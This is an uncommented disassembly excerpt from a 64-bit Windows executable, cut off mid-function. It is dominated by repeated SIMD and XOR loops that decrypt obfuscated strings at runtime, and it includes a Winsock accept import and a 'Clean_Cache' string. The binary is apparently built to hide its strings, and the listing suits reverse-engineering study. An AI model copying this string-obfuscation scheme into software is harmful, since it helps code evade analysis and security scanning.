call fcn.1400664b0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400633b0
mov r8d, r12d
cmp r14d, 2
jl 0x140063376
movdqa xmm0, xmmword [0x14011f5c0]
mov rcx, rax
movdqa xmm5, xmmword [0x14011f510]
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, esi
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140063271
cmp r8d, 0x16
jge 0x1400633b0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140063380
lea rdx, [0x14018a61a]
mov rcx, r10
call fcn.140036400
lea rdx, [0x14018a72f]
lea rcx, str.Clean_Cache
call fcn.140036400
lea rdx, [rbp + 0x78a]
mov byte [rbp - 0x41], 0
lea rcx, [rbp - 0x41]
call fcn.1400664e0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140063540
mov r8d, r12d
cmp r14d, 2
jl 0x140063502
movdqa xmm2, xmmword [0x14011f510]
mov r8d, 8
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm0, xmm2
mov eax, dword [0x14011f5c0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, esi
movd xmm6, edi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140063510
mov rcx, r10
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
movaps xmm2, xmm13
lea rcx, [rbp + 0x340]
movaps xmm1, xmm14
call fcn.140001e70
lea rdx, [rbp + 0x2a0]
mov byte [rbp - 0x40], 0
lea rcx, [rbp - 0x40]
mov rdi, rax
call fcn.140066510
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400635a0
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor cl, 0x37
mov byte [rax + 5], cl
mov rdx, rdi
mov rcx, rax
call fcn.1400353e0
call fcn.14000c180
mov eax, dword [0x14018a834]
cmp eax, 2
jne 0x140063fc4
lea rcx, [0x1401890d8]
call fcn.140068200
mov rdx, rax
lea rcx, [rbp + 0x950]
call fcn.140068400
lea rdx, [rbp + 0x6f8]
mov byte [rbp - 0x3f], 0
lea rcx, [rbp - 0x3f]
mov rdi, rax
call fcn.140066530
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140063626
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov r8, rdi
lea rcx, [rbp + 0x6d8]
mov rdx, rax
call fcn.140069aa0
lea rcx, [rbp + 0x950]
call fcn.140068310
lea rcx, [0x140189058]
call fcn.140068200
mov rdx, rax
lea rcx, [rbp + 0x970]
call fcn.140068400
lea rdx, [rbp + 0x738]
mov byte [rbp - 0x3e], 0
lea rcx, [rbp - 0x3e]
mov rdi, rax
call fcn.140066560
mov r14d, dword [reloc.WS2_32.dll_accept]
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400637e0
mov r8d, r12d
cmp r14d, 2
jl 0x14006379e
movdqa xmm2, xmmword [0x14011f510]
mov eax, Ordinal_32
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [0x14011f5c0]
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400637b0
mov r8, rdi
lea rcx, [rbp + 0x6b8]
mov rdx, r10
call fcn.140069aa0
lea rcx, [rbp + 0x970]
call fcn.140068310
lea rcx, [0x1401891d8]
call fcn.140068200
mov rdx, rax
lea rcx, [rbp + 0x990]
call fcn.140068400
lea rdx, [rbp + 0x760]
mov byte [rbp - 0x3d], 0
lea rcx, [rbp - 0x3d]
mov rdi, rax
call fcn.140066590
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140063990
mov r8d, r12d
cmp r14d, 2
jl 0x140063951
movdqa xmm2, xmmword [0x14011f510]
mov eax, Ordinal_32
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [0x14011f5c0]
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140063960
mov r8, rdi
lea rcx, [rbp + 0x698]
mov rdx, r10
call fcn.140069aa0
lea rcx, [rbp + 0x990]
call fcn.140068310
lea rcx, [0x140188f60]
call fcn.140068200
mov rdx, rax
lea rcx, [rbp + 0x9b0]
call fcn.140068400
lea rdx, [rbp + 0x76e]
mov byte [rbp - 0x3c], 0
lea rcx, [rbp - 0x3c]
mov rdi, rax
call fcn.1400665c0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140063b40
mov r8d, r12d
cmp r14d, 2
jl 0x140063b01
movdqa xmm2, xmmword [0x14011f510]
mov eax, Ordinal_32
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [0x14011f5c0]
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140063b10
mov r8, rdi
lea rcx, [rbp + 0x678]
mov rdx, r10
call fcn.140069aa0
lea rcx, [rbp + 0x9b0]
call fcn.140068310
lea rcx, [0x140188fc0]
call fcn.140068200
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.140068400
lea rdx, [rbp + 0x745]
mov byte [rbp - 0x3b], 0
lea rcx, [rbp - 0x3b]
mov rdi, rax
call fcn.1400665f0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140063cf0
mov r8d, r12d
cmp r14d, 2
jl 0x140063cb1
movdqa xmm2, xmmword [0x14011f510]
mov eax, Ordinal_32
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, dword [0x14011f5c0]
movd xmm5, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140063cc0
mov r8, rdi
lea rcx, [rbp + 0x638]
mov rdx, r10
call fcn.140069aa0
lea rcx, [rbp + 0x9d0]
call fcn.140068310
lea rcx, [0x140189198]
call fcn.140068200
mov rdx, rax
lea rcx, [rbp + 0x9f0]
call fcn.140068400
lea rdx, [rbp + 0xd86]
mov byte [rbp - 0x3a], 0
lea rcx, [rbp - 0x3a]
mov rdi, rax
call fcn.140066620
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140063ee0
mov r8d, r12d
cmp r14d, 2
jl 0x140063ea5
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140063da0
cmp r8d, 0x16
jge 0x140063ee0
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140063eb0
mov r8, rdi
lea rcx, [rbp + 0x658]
mov rdx, r10
call fcn.140069aa0
lea rcx, [rbp + 0x9f0]
call fcn.140068310
lea rcx, [rbp + 0x6d8]
call fcn.140068200
mov rcx, rax
call fcn.140033e90
lea rcx, [rbp + 0x6b8]
call fcn.140068200
mov rcx, rax
call fcn.140033e90
lea rcx, [rbp + 0x698]
call fcn.140068200
mov rcx, rax
call fcn.140033e90
lea rcx, [rbp + 0x678]
call fcn.140068200
mov rcx, rax
call fcn.140033e90
lea rcx, [rbp + 0x638]
call fcn.140068200
mov rcx, rax
call fcn.140033e90
lea rcx, [rbp + 0x658]
call fcn.140068200
mov rcx, rax
call fcn.140033e90
lea rcx, [rbp + 0x658]
call fcn.140068310
lea rcx, [rbp + 0x638]
call fcn.140068310
lea rcx, [rbp + 0x678]
call fcn.140068310
lea rcx, [rbp + 0x698]
call fcn.140068310
lea rcx, [rbp + 0x6b8]
call fcn.140068310
lea rcx, [rbp + 0x6d8]
call fcn.140068310
mov eax, dword [0x14018a834]
cmp eax, 3
jne 0x140064be8
mov rcx, qword [0x14018a850]
call fcn.140012520
lea rdx, [rbp + 0x1334]
mov byte [rbp - 0x39], 0
lea rcx, [rbp - 0x39]
call fcn.140066650
mov edi, dword [reloc.WS2_32.dll_accept]
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140064190
mov r8d, r12d
cmp edi, 2
jl 0x140064155
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140064050
cmp r8d, 0x22
jge 0x140064190
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140064160
mov rcx, r10
call fcn.140033e90
lea rdx, [rbp + 0x1356]
mov byte [rbp - 0x38], 0
lea rcx, [rbp - 0x38]
call fcn.140066650
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140064340
mov r8d, r12d
cmp edi, 2
jl 0x140064305
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140064200
cmp r8d, 0x22
jge 0x140064340
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140064310
mov rcx, r10
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
lea rdx, [rbp + 0xd70]
mov byte [rbp - 0x37], 0
lea rcx, [rbp - 0x37]
call fcn.140066680
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140064500
mov r8d, r12d
cmp edi, 2
jl 0x1400644c5
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400643c0
cmp r8d, 0x16
jge 0x140064500
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1400644d0
mov rcx, r10
call fcn.140033e90
lea rdx, [rbp + 0x12f0]
mov byte [rbp - 0x36], 0
lea rcx, [rbp - 0x36]
call fcn.140066650
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x1400646b0
mov r8d, r12d
cmp edi, 2
jl 0x140064675
movdqa xmm0, xmmword [0x14011f5c0]
